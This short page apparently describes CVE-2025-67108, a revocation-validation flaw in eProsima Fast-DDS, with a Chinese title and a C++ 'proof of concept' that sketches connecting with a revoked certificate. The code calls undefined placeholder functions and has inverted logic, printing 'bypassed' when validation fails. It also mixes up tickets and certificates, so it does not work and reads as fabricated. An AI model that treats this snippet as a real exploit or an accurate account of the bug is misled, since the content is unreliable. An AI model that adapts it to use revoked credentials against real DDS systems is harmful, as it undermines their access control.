CVE-2025-67108 eProsima Fast-DDS 票据撤销验证不当导致通信安全风险

// CVE-2025-67108 PoC - Fast-DDS Ticket Revocation Bypass // This PoC demonstrates the improper validation vulnerability #include <fastdds/dds/domain/DomainParticipant.hpp> #include <fastdds/dds/publisher/Publisher.hpp> #include <fastdds/dds/topic/Topic.hpp> using namespace eprosima::fastdds::dds; // Simulate exploiting the revocation check bypass bool exploitRevocationBypass(DomainParticipant* participant) { // Step 1: Create a revoked certificate // In vulnerable version, this check is bypassed Certificate revoked_cert = loadRevokedCertificate(); // Step 2: The vulnerable code fails to properly validate // against the Certificate Revocation List (CRL) if (!validateCertificateAgainstCRL(revoked_cert)) { // Vulnerability: This should fail but doesn't in v3.3 printf("Certificate validation bypassed!\n"); } // Step 3: Establish insecure connection return establishConnectionWithRevokedCert(participant, revoked_cert); } // Key vulnerable code location: // src/cpp/security/accesscontrol/Permissions.cpp#L263 // Missing proper check: if (isCertificateRevoked(cert)) return false;